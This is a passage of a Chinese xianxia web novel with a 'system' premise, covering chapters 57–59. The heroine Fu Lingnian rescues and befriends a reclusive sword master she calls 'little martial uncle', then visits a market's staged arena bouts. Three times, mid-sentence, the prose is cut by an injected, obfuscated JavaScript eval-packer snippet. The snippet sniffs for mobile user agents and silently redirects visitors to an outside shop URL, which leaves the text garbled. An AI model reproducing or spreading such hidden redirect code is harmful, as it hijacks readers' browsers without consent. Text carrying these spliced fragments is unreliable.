其中一只眼睛正好处于伏令年手指抓握处,湿润且具有弹性的眼球转动了一下,在她指尖留下了一条水痕。 伏令年感到头皮发麻,强忍住撒手的冲动,更加用力地攥住藤蔓。 眼球在伏令年的力量下下陷,继而破裂开来,触感黏腻。 与此同时,藤蔓之中,一条条细小的舌头探出,扎入伏令年的肌肤,蠕动着探寻着她的血管。 先是刺痛,继而发麻。身体仿佛同藤蔓相联,心肺与脉络共震。 这种感觉很不好受,伏令年觉得神识仿佛在被抽离,身体即将不属于自己。 内心的警钟长鸣,这样下去恐怕会发生比落进沼泽更加不妙的事情。 几秒后,伏令年下定了决心。剑光闪动,血红的藤蔓被直接斩断,液体飞溅散落。 身体往下方坠去,伏令年在极短的时间内调整姿态,以正面面对下方的沼泽。 好巧不巧,伏令年下落轨迹的终点正好靠近那陷入沼泽之人。 对方可能是遨月峰的弟子,伏令年没有不出手搭救的理由。 缠绕他周身的藤蔓此时也变为了红色,如同吞噬猎物的野兽,将他困于其中。 好在伏令年拥有内门考核的经验,能够艰难但熟练地在沼泽内移动。 她右手持剑,白玉剑划过一道弧度,在极短的时间内连续斩出,将缠绕着少年的藤蔓尽数斩断。 一次一次利用灵力挣开束缚,伏令年手脚并用,总算是将自己和那失去意识的少年带上了岸。 在此期间,少年依旧双眼紧闭,身体似乎也有些冰冷。 伏令年凑近去听他的呼吸,却只能听见自己剧烈运动后强烈的心跳声。 她身上携带有治疗作用的丹药,但无论在修仙界还是原本世界,对症下药都很重要。如果少年是溺水或心脏骤停,吃再多的还春丹也不如她手动进行心脏复苏。 为了确定少年的确切情况,伏令年伸手探向他的颈动脉,以确认他是否还有呼吸和心跳。 然而,她的手摸了半天,却未能摸到对方的脖颈——他的衣着不算繁复,却可以称之为严严实实。由脖颈到胸口,全都被衣服包裹于其中。 时间紧急,伏令年心一横,手下发力,想直接将他上半身的衣服扯烂,以探查他的身体情况。 然而,他的衣物只是稍稍变形,便再无破损。 伏令年一时间有些呆住,开始怀疑自己最近是不是太过缺少锻炼了。 在伏令年的不懈努力之下,少年脖颈处的衣物总算被扯开了一小块。 少年的脖颈也如他脸颊那般苍白,缺少血色。伏令年如愿以偿地感受到了他脉搏的跳动以及肌肤传来的温度,顿时松了口气。 就在伏令年从储物空间中掏出丹药,俯身掐住他的脸颊,待要给他喂药时,猝不及防的对上了一双润泽的黑眸。 57. 小师叔 伏令年动作僵住,与对方的双眸相望。 少年的眼眸如同夜晚无波的黑色海面,深沉且不真切。伏令年没有在其中看到活人应有的神采。 他只是睁开了双眼,没有其余的反应。 然而,指尖温热的触感,胸膛不断的起伏,以及均匀的呼吸声都在告诉伏令年,他是一个活人。 事发突然,伏令年还保持着身体前倾的动作,右手掐着少年的脸颊,另一只手中捏着一颗丹药。 如果抛却她在救人的事实,两人如今的姿势着实是有些糟糕。 伏令年觉得自己就像是个对人图谋不轨的歹徒。 在如此近的距离下,伏令年甚至能清晰地瞧见少年细密的眼睫毛。他如墨般的黑眸微动,眸中逐渐有了些神采。 沉默了半晌,伏令年默默松开手,想往后退开,并装作没看见对方脸颊上被她掐出来的红印。 然而,身体刚刚往后挪移,手腕便被人先一步攥住。 少年看似虚弱,手上力气倒是不小,伏令年下意识一挣,却未能挣开。 被他力气一带,伏令年失去平衡,整个人都往下方倾倒。 慌乱之中,伏令年用另一只手撑地。 然而,掌心并未如她预期般触碰到坚实的地面,而是压在而了什么富有弹性的事物上。 伏令年:! 随即,她就看见身下的少年那双黑眸中蒙上了一层雾气,脸色似乎也更加惨白了一些。 “等一下等一下!”伏令年调整发力点,快速将自己的支撑手从他的胸膛处挪开:“你没事吧?” 少年不吭声,看上去有些不妙。 然而,就是如此情况,伏令年的手腕非但未被松开,传来的力道却愈加大了,像是溺水之人抓住了一根救命稻草。 “道友,你醒醒,你没事吧?” 迷蒙…窒息…痛苦… 裴知许想要看清眼前的事物,视线却全然被血红与暗黑色占据。 他知道,自己再次陷入心魔了。 心脏被灼烧吞噬,五脏六腑翻滚着发出悲鸣,寒意顺着血管与骨缝隙穿行。 这一次,他会就此死去吗? 耳边有人在哭泣,有人在同他说话,有人在呼喊他的名字。 是谁? 裴知许想要睁开眼睛,意识却被困顿于清醒与静默之间,神智与现实隔着一层屏障。 眼前出现了模糊的身影,似乎是一位少女。 是师姐吗? 那道身影在逐渐远离他。 伸手,抓住她。 不对。 心里有另一个声音在告诉他。 那不是你的师姐,也不是你心中所想的任何一人。 因为——你师姐已经死了啊,死在了那场战争中。 心脏似乎瞬间停止了跳动,血液凝固在血管当中,冰冷的感觉刺的他身体发寒。 裴知许猛然坐起,额头的痛感伴随着撞击声传来。 舌尖被苦涩的事物缠绕,有什么东西在他嘴中化作液体,流入了他咽喉中。周身的寒冷与痛苦因此稍稍得到了缓解。 他的神智逐渐清晰,脱离了混乱迷蒙的状态,看清了面前的场景。 那是一位他从未见过的少女,黑发由发带系起,几缕乱发松散地披落于脸侧,眼眶泛红。此时,她正跪坐于地上,用手捂住脑门,嘴中吸着冷气。 手腕被松开了,伏令年双眼因为疼痛有些迷蒙。她昏昏沉沉地想着,这人脑袋究竟是用什么做的,怎能坚硬到如此地步。 “抱歉。”脑海被疼痛占据之时,她听到了一道如同清冽泉水般的嗓音。 声音的主人正是那给了他一击头槌的少年。 此时,他双手撑地,半坐起身。发丝顺着肌肤滑落,随着他动作划过胸口裸露的肌肤。 伏令年的视线下意识追随着望去,落在少年的胸口。 少年自然也有所察觉。 随后,伏令年就见到他伸手,认认真真地整理了一遍自己的衣着,想重新将被她扯开的衣领系到最上方。 然而,他立领最上方的绳结刚刚被伏令年扯坏了。 少年摸索了一会,摸出来一截被扯断的绳扣。一时间,他未再有动作,似是有些无措。 罪魁祸首·伏令年不敢吱声。 她表面不动声色,内心打定主意——他不问,她不说,他一问,她便惊讶。 然而,少年的下一句话不是质问,也不是疑惑,而是一句道歉。 “冒犯了,姑娘。” 对方的衣领毕竟是被自己弄坏的,伏令年也有些心虚。想了想,她随手摘下自己头发上的发带。 被泥泞沾染的发丝垂落在肩头,伏令年毫不在意地将头发拢至身后,拿着发带凑近少年。 “姑娘,你…” 少年话未说完,就见伏令年指尖灵巧地打了个转,用发带代替绳扣,帮他将衣领系上了。 手上攥着两头,伏令年下意识将其叠放在一起,再打了个转。 还未等她反应过来,一个蝴蝶结已经系好了。 这不能怪她,纯粹是触发DNA了。毕竟对原本世界的她而言,万事皆可蝴蝶结。 两人离的极近,微微抬头,伏令年再度与少年对上了视线。 他外表看上去只有十八九岁,看着年少,因而伏令年在心中称呼她为少年。 眉如月,眸如星。 纵使见过沈聿泽这样的美男子,伏令年还是得在心中暗叹一声面前之人容貌之俊美。 两者是不同的“美”,若说沈聿泽如美艳的花丛中的牡丹,面前之人则更像倒影于水面的皎月,让人想要靠近,却又不忍搅乱那皎洁的月色。 即使他刚刚还处于沼泽之中,却未曾因此沾染分毫污泥。 不过,这样一位如皎月般的少年,脖颈处却系着一只灰白色的蝴蝶结,看着着实有些滑稽。 伏令年憋着没露出奇怪的笑容,往后拉开了距离。 有些艰难地站起,伏令年朝少年行了同辈之礼。 “抱歉,方才以为你溺水,不慎扯坏了你的衣服。” 少年眼眸微动,明白了现今的情况。 “多谢姑娘出手搭救。”他没有去解释自己为什么沉于沼泽中,指尖无意识抚过颈前奇怪的绳结,他忽地道:“在下这件衣服用寒丝蝉所吐之丝打造而成,韧性极佳…” 伏令年敏锐地捕捉到了关键词。 寒丝蝉所吐之丝=珍惜材料,韧性极佳=高品质,合起来不就是很昂贵吗! 在伏令年警惕的眼神下,少年唇间勾勒出一抹淡淡的笑容:“姑娘筋骨不错,不知有无师门?” 伏令年:…… 你们修仙者……有话便一口气说完嘛,害得她以为是要赔偿来了。 伏令年今天未穿着遨月峰弟子的服饰,进入秘境前也提前将遨月峰的身份玉牌给收了起来——毕竟出门在外,干坏事不留名嘛。 就在伏令年考虑是实话实说还是撒谎之时,神识海中忽有触动,系统的提示再度出现。 【九十年义务修仙系统提醒您:】 【触发长期限时任务:向小师叔学习{望月剑法}】 【剩余时间:730日】 【任务介绍:修炼如逆水行舟,不进则退。作为勤学刻苦的义务修仙者,莫忘了多多向前辈请教学习。收集全套剑法,可召唤一个{???}】 【收集进度(0/3)】 【完成奖励:{映月剑法}】 【失败惩罚:修为倒退】 小师叔?! 谁是小师叔? 这是伏令年的第一反应。 系统任务发布很随机,除了固定的学期任务,其余皆没有规律。 但以伏令年这几年的经历来看,系统任务触发必然与周围的事物有联系。在某种情况下,触发的系统任务能作为提示,帮助伏令年度过难关。 若不是系统的提示,伏令年哪可能将沈聿泽与美男子联系起来。桃源村的三日之行,伏令年恐怕也是凶多吉少。 被系统用各种强制性的任务控制的感受固然不好受,但少了系统,伏令年自认为自己是很难在之前的危机中幸存的。 尤其是桃源村一行后,伏令年自己也没发现她对系统产生了依赖性,下意识便会相信系统给出的一切信息。 伏令年扫视一圈周围,确定这里只有两个活人。 她必然不是“小师叔”,那么…… 伏令年看着少年那张过分美丽且年轻的面孔,一时间很难把“小师叔”这个听上去很长辈的词同他联系起来。 不过,沈聿泽都能是她师父,这少年是她师叔也不是那么奇怪了。 修仙嘛,讲究什么科学? “咳…”伏令年在“小师叔”讶异的目光中,从怀中取出了身份玉牌:“遨月峰…伏令年。” …… 自那日起,伏令年逃课的去处又多了一个。 日常打扫完毕,伏令年走到巨树之下,蹲下敲了敲地面裸露在外的粗大根系。 下一刻,寒风拂过脸侧,伏令年脚下一空,整个人便往下放坠去。 她并未选择御剑,而是任由身体下坠。 背部落在藤蔓铺就的大网之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591768|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,再缓缓被放到了地面。 伏令年指尖拂过嫩绿的藤蔓,不由想起那一日看到的可怖场景。从那日以后,伏令年再未擅闯秘境,也再未撞见过那样的情形, 脚落于实地,脚下不再是黑灰的沼泽,而是嫩绿的草地。 不远处,身着素色白衣的少年坐于轮椅之上,见到伏令年时,他温和一笑,朝着她微微颔首。 “小师叔。”伏令年行礼,笑着调侃道:“今日不在沼泽中睡觉啦?” 那日以后,伏令年才知晓这秘境居然是小师叔的所有物,那日救人一事也是个乌龙,还因此弄坏了他的衣服。 为此,她对系统发出了投诉,却得到了冷漠的回应。 好在这位小师叔性格温和,也不过多追究,甚至还答应她教她剑术。 这让伏令年有理由能短暂逃离沈枫泽的鞭策。 不过沈枫泽似乎对此有所不满,伏令年总隐隐感觉大师兄下手揍她的时候似乎凶狠了许多。 想到此,伏令年忍不住摸了摸自己今日被剑柄打青的胳膊,朝小师叔走了过去。 “贫嘴。”小师叔声音清润,语气淡淡的,对伏令年的玩笑话也不感到生气。 “今日也是练起手式吗?” 伏令年开始学习已有半月有余,却依旧在学习{望月剑法}的起手式。 说是起手式,其实也就是拔剑出鞘一个动作罢了,小师叔却让她孜孜不倦的努力练习。 修剑讲究一个道心坚定,百炼成钢。伏令年明白这个道理,心中却依旧有些焦急。 毕竟系统的限时任务如达摩克里斯之剑般悬在她的头顶,几年前关乎四境大会的死亡威胁还历历在目。随着时间的减少,伏令年难免心生杂念。 沈枫泽很严格,教会伏令年许多本领。她也能明显感觉到自己战斗的能力与素质在逐日提升。 但这样的提升速度不够,伏令年也清晰的明白自己还有许多不足的地方。 她未曾学习过任何一套系统的剑术,只能依靠肌肉记忆与模仿来进行战斗。 越是了解自身,越是面对强大的敌人,伏令年越加感觉到,自己还缺少一些重要的事物。 这样的空缺让她的剑术难以得到阶段性的提升,修为也因此停滞不前。 裴知许微微侧头,抬眸望向伏令年。 少女今日未用发带系发,只用树枝当作简易的簪子,将头发束了起来。 她一只手臂有些不自然地垂放,额角还沾染着汗水,神色有些疲倦和焦急。 身下的轮椅转换角度,裴知许停在伏令年身侧,轻声道:“让我瞧瞧你的手。” 掀开衣袖,手腕处红肿,小臂也青紫一片。 “为何不先去医治?”伏令年听见小师叔这么问。 “嘿嘿,反正是小伤。”伏令年随意地道:“今天治了,明天还会有新伤,不如放着…”过几日自然便能好。 然而,她的话语并未说完。 她看见小师叔的眉头微微蹙起,便下意识止住了话头。 “若是觉得疲倦,便去休息吧” 伏令年愣住了。 她很疲倦吗? 或许是吧。 伏令年忽然想到,她似乎许久都未好好休息过了。 不是拼命修炼挨打,就是被任务追着跑。 离三日轮回一事只有半月之久,明明在其中经历了那些古怪乱离的场景,遭受了魔修的神识入侵。回到遨月峰没几日,伏令年却又开始忙碌。 忙着炼丹制符,忙着提高修为,忙着挨打,又或是忙着学习剑术。内心总有一种强烈的危机感,在追逐着她往前奔跑。 好像又回到高三的时候了。 伏令年忽然觉得有些好笑,嘴角勾起一抹奇怪的笑容。 可是在修仙界,她无法回到家就向父母诉苦,无法抱着自己的玩偶缩在被窝里睡觉… 伏令年回过神来,与小师叔那双如墨如渊般的黑眸相对。原本强行勾起的嘴角被无形的力量抹平,一时间说不出话来。 却见小师叔微微勾唇:“躺在草地上,闭上双眼,感受微风拂过,草叶之声作响。是种极美好的感受。”继而,他露出了些同他温润气质不符的狡黠的神情,点了点身旁的绿地:“以往练剑时疲惫了,我总会找片清闲处躲着,不让师父他们发觉…” 伏令年一头躺进了草丛当中,风拂过脸颊,果然如他说的那般舒服自在。 目之所及是广阔的天空,不算刺眼的暖阳透过树木的枝叶缝隙落于伏令年脸上。 她的视线变得朦胧,模模糊糊间,她似乎听见了车辙压过草地的声响 58. 再至街市 车轮碾压过草丛,发出细碎的动静。 伏令年睁开双眼,月光洒落于脸侧,柔和缠绵。 她缓缓坐起,还有些迷蒙。浑身骨骼随着她的动作嘎吱作响,酸痛感席卷她的全身。 “醒了?” 伏令年侧头,正好瞧见被月色笼罩于内的裴知许。 虽常年坐于轮椅上,身姿却依旧挺拔,宛若青松。 “小师叔。”伏令年掩嘴打了个哈欠,还是有些困倦:“下次换个软点的草坪吧,这儿睡觉硌得慌。” “你倒是选上了。”裴知许无奈地摇了摇头。 “大师兄又来抓我了?”伏令年问。 这一年以来,伏令年养成了在小师叔秘境中躲懒的习惯。 或是三两天,或者小半月,她总隔三差五地往秘境中跑。 累了,困了,难过了,亦或是高兴了,她都喜欢往这里面一躲,同小师叔说说话,再睡上一觉。或是向小师叔请教剑法,再酣畅淋漓地舞上一段。 没有人会打搅她,她无需去考虑任何其余的事情。 也因此,她和小师叔越加熟稔起来。这是一种介于友谊和亲情之间的关系,与温季才等人不同,与沈聿泽和沈枫泽也不同。 作为大师兄的沈枫泽,伏令年能够信任依靠他,却也畏惧着他,无法同他交心。而作为师父的沈聿泽,他并不严厉,甚至可以说是随心。然而,伏令年总感到他外表蒙着层雾气,让她看不真切。 唯有小师叔,伏令年觉得分外亲切。 脸颊处忽凉,一条亮闪闪的事物在伏令年眼前晃悠过。在月光的照射下泛着银光。 顺着往上看,目光划过骨节分明的修长手指,再看向他掌心不知由何物打制的手链,泛着银色光晕的椭圆状宝石粒粒分明。两者相衬,格外好看。 “这是?”伏令年面露疑惑之色。 “生辰礼。”裴知许点点头,示意伏令年接过。 “我的生辰还未到呢。”伏令年有些迷茫地接过手链,触感冰凉,像是夏日林间的山泉。 她这具身体原本是孤儿,也不知何年何月何日生。伏令年便干脆照搬了自己原本的生日。 “我知道。”裴知许声音温和地解释道:“过几日,我便要闭关了。” 伏令年先是怔愣,继而露出些许担忧之色。 外人不知晓,被裴知许教导了许久的伏令年却很难不知晓他的状况。 小师叔——或许应当尊称他为望月仙尊。 他便是温季才曾经提过,并十分崇拜的天下第一剑。 在百年前的妖魔战争中,众多仙门死伤惨重。尤其是处于一线战斗的遨月峰。 冲突爆发,战争到来。当时作为一代天骄的遨月峰弟子裴知许自然也不会藏于后方。 也就是在那场战争中遨月峰众多弟子死伤惨重,映月仙尊死亡,身为望月仙尊的裴知许因此烙下残疾,无法再站起。 其中的细节他人无从知晓,伏令年也知道也打听不着。 倒是有许多有夸张色彩的坊间传闻,可其中真实性无法保证。 身为修仙者,若仅仅是筋骨断裂,甚至是失去肢体,都不算得无法逆转的伤害。 然而,身为望月仙尊的小师叔却再未能站起,终日只能依靠轮椅行动,本身也逐渐隐没于人世间,着实是不寻常。 因此坊间对他的伤势多有怀疑,还因此流传了各种说法。 什么身负奇毒无法行走,修为尽失断绝仙路,又或者是心有魔障困顿其中…总之,什么样的说法都有。 对此,伏令年只是听,从不会去问。 但她也隐约察觉到,小师叔的身体状况并不好。 所谓的闭关,大概与寻常修仙者不同。 看着他苍白的脸颊,伏令年忽地问:“你又要回到沼泽中睡觉了吗?” 裴知许微怔,随后笑道:“可能吧。” “那你什么时候醒。”伏令年又问。 “半月,或者更久。”裴知许未有给出确定的答案。 看着伏令年的表情,裴知许眸中藏着笑意:“瞧你的表情,怎如此难过?” 伏令年故意叹了口气:“难过以后没地方躲避大师兄的操练了。” 就知道她嘴里说不出什么好话。 裴知许无奈瞧了她一眼,继而道:“若要休息,你便自行来吧…这里,一直都有留有一片空地。” …… 伏令年离开秘境,开始清点自己的计划。 离四境大会只有一年时间,伏令年未完成的事情还有许多。 秘境外天色尚明,伏令年赶到事务堂,接取了这一周可以完成的任务。 事务堂值班的弟子都认得伏令年了,见她急着离开急忙招呼道:“等一下,伏道友。” 值班弟子是一位身材略胖的少年,见伏令年转头,有些不好意思地笑了一声:“伏道友,你可真厉害,我还是头一次见人接了这么多青叶峰和丹峰的任务还未被设为禁止名单的呢。” “禁止名单?”伏令年疑惑。 “是的,你不知道吗?有一些弟子接取任务后完成的并不好,因而会被任务发布者列为禁止名单。日后他便不能再接取类似的任务了。” 这不就是黑名单嘛,昆仑宗这设置还挺人性化。 伏令年听说过某些弟子的光荣事迹,什么帮忙除草时将药田中种植的草药也连带着连根拔起,浇水时给草药浇沸水,美名其曰怕它们畏寒冷,还有偷吃草药中毒直接当场就医的……总之,“人才辈出”。 伏令年点点头,表示明白。看值班弟子面色古怪,似乎欲言又止,伏令年挑了挑眉,也没有点破。 两人我看看你,你看看我。最终,还是值班弟子忍不住先说出口:“好吧,伏道友,我有一事相求。” “请说,佣金另记。” “伏道友…”值班弟子面露可怜之色:“你要手下留情啊,我这口袋中灵石所剩也不多。这样…我日后替你留意着任务,保准你第一个知晓。” “先说说需要我做何事?” 值班弟子扭捏了一下,面色略红。 他从怀中掏出一封小心折好的信件,连同一朵红艳艳的花交到了伏令年手上。 “帮我将此物交给兰姑娘。”他的脸已经红得同天边晚霞一样了。 “好吧。” 也不是什么大事,伏令年同意了。 在青叶峰,伏令年找到了值班弟子口中的兰姑娘,将两件事物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598396|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交给了她。 兰姑娘看到伏令年手中的花,先是面露羞赧之色。然而,在看见那封信后,脸色却明显阴沉了下来。 有些不对呀。 伏令年小心地观察着兰姑娘的脸色,不知其中有什么不对。 “伏道友。”兰姑娘面无表情将信件还给伏令年:“可以替我传句话吗,报酬可以商量。” 伏令年咽了口唾沫:“你说。” “让他滚蛋。” “这……”伏令年有些犹豫,这恐怕不大有利于宗门和谐吧。 兰姑娘比了个数:“再加上你之前想要的宁神花。” “成交。” 有钱不赚是傻瓜! 不过,伏令年还是有些好奇:“他有招惹过你吗?” 兰姑娘面色冷若冰霜:“我曾经养育了一株灵植,还有半月便要结果…”伏令年清晰听见了她咬牙的声响:“然而,某些该杀千刀的家伙往他身上浇沸水,说是瞧见它身上有冰霜,怕冻死了…” 兰姑娘的愤怒和怨气近乎凝成实质,让伏令年不由自主地退后两步:“那他爹的是冰凌花啊,他浇沸水!!!!那可是一株灵植!我本要用它去进行药师考核的!” “理解了。”伏令年深表同情。 给灵田除完草后,伏令年马不停蹄地赶回事务堂,将东西连同话转还给了值班弟子。 值班弟子的脸色一下变得灰败,见伏令年急着要离开,他再次喊住了伏令年。 “能再帮我传达一次吗?我在禁止名单中,无法亲自去……” 你们把我当传声筒呢?伏令年有些无奈。 却见值班弟子手上比了个让她无法拒绝的数字。 伏令年:“……” 好,今天开始,她就是AAA昆仑宗传声筒! 夜深,伏令年来到了昆仑宗山脚的传送阵法处。 以她如今的修为,已无需每日休息。因而,她把大部分时间都用来修炼赚钱。 浓墨般的夜色中,伏令年看见了两道熟悉的身影。 “你总算来了。”温季才朝伏令年招了招手,一旁的高墨贤则捂着脑袋,艰难地朝她点了点头。 “你这是怎么了。”伏令年看着高墨贤肿起来的双颊,忍俊不禁。 “大师兄……”他含糊不清地说。 是了,能在昆仑宗把他打成这样的,除了大师兄还能是谁呢。 怜悯地拍了拍高墨贤,三人一同走入了传送法阵中。 除了任务需要,平日弟子们使用传送法阵,需要根据自峰的规则申请并缴纳灵石。 而对于遨月峰而言,规则就是没有规则。 大师兄沈枫泽只负责监督内门弟子修仙,二师姐安祉管理宗门事务,却日常处于失踪状态,只能靠通讯石联系。 因此,只要能缴纳灵石,传送法阵随便他们三人使用。 眼前一晃,摇动的树影消散,面前骤然明亮。 头顶灯光结彩,嘈杂的人声瞬间充斥于耳侧。 身着黑衣,脸戴面具的伏令年三人从法阵中走出,仿佛一粒细小的石子,投入沸水中却溅不起大的波澜。 法阵旁的灰袍女子上前,面带微笑:“几位道友,欢迎来到木延街市。” 59. 擂台赛 离桃源村一行已过去一年。 伏令年曾经在魔修鸠的记忆中窥探到了魔修们的部分计谋,得知他们想对木延街市下手。 经过打听,伏令年得知,在桃源村出事后,木延街市也暂时关闭了。 一年以后,木延街市才重新开放。 伏令年猜测昆仑宗应当是发现了其中问题,并已将问题解决。 却不知这木延街市究竟有何神奇之处,让魔修们对其有所企图。 怀着好奇心,伏令年决定再次前往木延街市,查探一下情况。 虽然,即使木延街市有什么不对的地方,约莫都已经被昆仑宗抹除。但打探一下消息,总是好的。 再加之木延街市修士云集,亦是交易物品打探情报的好去处。 街道人流涌动,头顶夜空如墨水,灯光却照周遭宛若白昼。 如今的木延街市与一年前似乎没什么不同。 伏令年故意压低了嗓音,向那位灰衣女子报出了一个法阵所在的区域。 桃源村便在那片区域。 灰衣女子未作思考,便面露歉意。 “抱歉,那一块传送法阵处于维护当中,暂时无法开放。”随即,她又换上了笑容:“三位,不知你们想去往何处?我可以为你们推荐其余的法阵。” 不开放? 这并不是一个令人意外的结局。 “算了。”伏令年拒绝道。 一旁的温季才适时接话:“我们慕名而来,却未曾想木延街市长久未开放,敢问是为何啊?” 他也刻意变换了嗓音,让人听着怪不舒服。 灰衣少女脸上依旧挂着公式化的微笑,含糊地道:“街市前不久在整顿,几位道友远道而来,可是需要我为你们做些讲解?” 她岔开了话题,相当于什么都没说。 从她这儿问不出什么东西,伏令年几人敷衍几句,便找了个由头自行离开了。 木延街市作为修仙者的聚集地以及传送阵的中转站,关闭近一年,造成的影响绝对不小。 若不是迫不得已,其后的主人绝不可能做出将其封锁一年的决策。越是这么想,伏令年心中越是好奇当年的真相。 魔修们的真正策划究竟是什么? 街市内很热闹,但绕着走了一圈,伏令年明显能感到如今的木延街市比起一年前人流量锐减。原本独占一头的店铺已换了模样,街边的小贩也少了许多。 拍卖行和地下黑拳赛似乎是这种街市的必备事物。 伏令年三人甫一路过,便被一个看上去贼眉鼠眼的干瘦青年给拦下了。 “哎呀,几位道友。”那人贼兮兮地笑着,朝他们招手:“看你们骨骼精奇…” “好糟糕的开场白。”温季才用小声但在场之人绝对能听见的声音蛐蛐道。 伏令年明显看见那人的嘴角抽搐了一下。 但他显然有良好的职业素养,继续笑容满面地说:“不知几位,想不想在空闲时间赚些小钱?” “多少?”伏令年不和他拉扯,直接问。 “这个数。”那人比了个手势。 “成交。”伏令年和温季才异口同声。 两人的干脆着实大大出乎了此人的预料,愣了几秒,他将到嘴边的规劝之语咽下,带着伏令年转身走入了旁边金碧辉煌的拍卖场中。 走了没两步,他便听见三人中唯一未发言的人低声问:“你们就这么答应了?不怕是骗子?” “没事,”女性嗓音小声回复:“是骗子更好,直接上报昆仑宗,顺便拿赏金。” 昆仑宗作为东境数一数二的大宗门,有维护秩序的职责。向昆仑宗上报不正规组织,有点像原本世界中向警察报警。 干瘦青年:…… 他听得见的好嘛?! “三位道友放心。”他扯着近乎要挂不住的微笑道:“我们的黑拳赛是由拍卖场举办的,很正规,不必担忧生命安全。叫这个名字,也只是个噱头罢了。” “好的。”三人表示理解。 但不知怎得,他总觉得他们裸露在面具之外的眼眸中似乎闪过了一抹失望之色。 “……”突然后悔了,他刚刚为何会以为三人是好骗的楞头剑修,还去同他们搭话。 他想撤回一个邀请,也不知还来不来得及。 四人步入长廊,推开一扇门,沿着阶梯拾级而下。 四周变得有些昏暗,年轻人的声音在黑暗中回荡,听着有些渗人。 “黑…呃,擂台赛的规则很简单,单独进行抽签,抽到的修士在擂台上进行两两对决。就像那样…” 随着他的声音,几人右侧方有灯光亮起,面前顿时开阔。 他们正站在悬空的阶梯之上,下方是空旷的圆形场地。一圈圈座椅围绕着铺开,红色的丝织布料在灯光的映照下显得分外鲜红。 这一幕让伏令年心生恍惚,似是一下子 便来带了另一个世界。 “一共有两种擂台赛,一种论胜负得酬金,另一种不论胜负。” 三人并未接话,瘦削青年自讨无趣,继续解释:“论胜负的想必无需我多说,就为三位展示一下第二种擂台赛吧。” 顺着他的手势,伏令年望向下方的擂台。 艳红的色彩将中央的擂台包裹,如同巨兽张开的巨嘴。为了生计不得不参与擂台赛的修仙者于擂台上搏斗,却终将被围观谈笑者所吞噬…… 两道人影正在其中缠斗,突然,一人前倾扑倒,就地滚了一圈。 另一人甩袖,一串拳头大小的事物砸在地面,烟雾顿时升腾。 “哈哈,看我霹雳雾弹!” 下一刻,雾气消散,在地面翻滚之人衣袍已然破裂,露出胸口处的一片青铜色物什。 “小小伎俩,我身负青铜甲胄,你如何伤我?” 紧接着,两人就再次扭打起来。 在场几人都是剑修,没打过真架也见过别人打架,不难看去下方两人你来我往间拳脚都未落于实处,让人想要举报他们假打。 再加之他们边打边喊着各种极具羞耻感的台词,着实是让人没眼直视。 伏令年心中刚刚升起的深沉感叹霎时间烟消云散。 “这是?”温季才嘴角微抽,问道。 “这便是第二种擂台赛啦。”瘦削青年笑道:“参与第二种擂台赛的参赛者需要携带我们拍卖行售卖的器具上场,并向看客们进行展示,无论输赢,皆有酬金。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604116|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这不就是找群演吗? 修仙界打广告的方式也太过“先进”了吧?! 伏令年无语:“你们堂堂拍卖行,出售物品还需要如此展示?” 瘦削青年讪笑一声:“这是无奈之举啊,我们拍卖行迁移至此,根基未稳,只能寻求些特殊的法子。” 他声音转低,语气有些幽怨:“要是不是金兰街市被那群高家人占着,谁来这被清扫一空的木延街市啊。” 金兰街市?清扫一空? 伏令年有了兴趣。 “你们来自金兰街市?” “是啊…”瘦削青年没有详说的欲望,转移了话题。 “如何,三位可愿意参加?” 三人的面容被面具所掩盖,但瘦削青年却明显察觉到了他们的嫌弃。 然而,他们出口的话却是:“参加。” “那几位想选择哪种擂台形式?” 三人似乎是那类古板的剑修,不喜那虚假的擂台比试,必然会选择… “第二种。” 瘦削青年:? 高墨贤“第一种”的声音被淹没于其中。 伏令年上前一拍瘦削青年的肩膀:“表演,我们三个人是专业的!” …… 今日,木延街市的岐山拍卖行推出了一件防御型的器具。 听闻此物由一位三阶器修所制。 昏黄的灯光下,两道人影如狂风扫落叶般于擂台之上飞舞。剑光闪动间,精铁交击之声不绝于耳。 身着白衣之人身形似少女,剑虹划破暗色,刺向面前身着黑衣之人。 黑衣之人扭身摆腿,一记扫踢击于剑刃之上,使其落点偏移,终只得斩落衣袍一角。 甫一接触,两人再度分开,立于两侧,一时间风云涌动。 战斗处于焦灼之际,黑衣之人慢了一拍,因而露出了一个破绽。 白衣少女由此抓住机会,抬腿横扫,直接将黑衣之人击倒在地。 再一脚,黑衣之人宛若断线的纸鸢,竟就这么被击飞了出去。重重地砸落于十米之外,掀起一片碎石尘土。 白衣少女发出一声冷笑,紧随其上,一脚踏于黑衣之人胸口。 就在看客以为胜负已分之时,异变陡生。 黑衣之人并未失去反抗能力,他猛的探手,一把攥住了白衣少女的脚腕,将她拖倒在地。 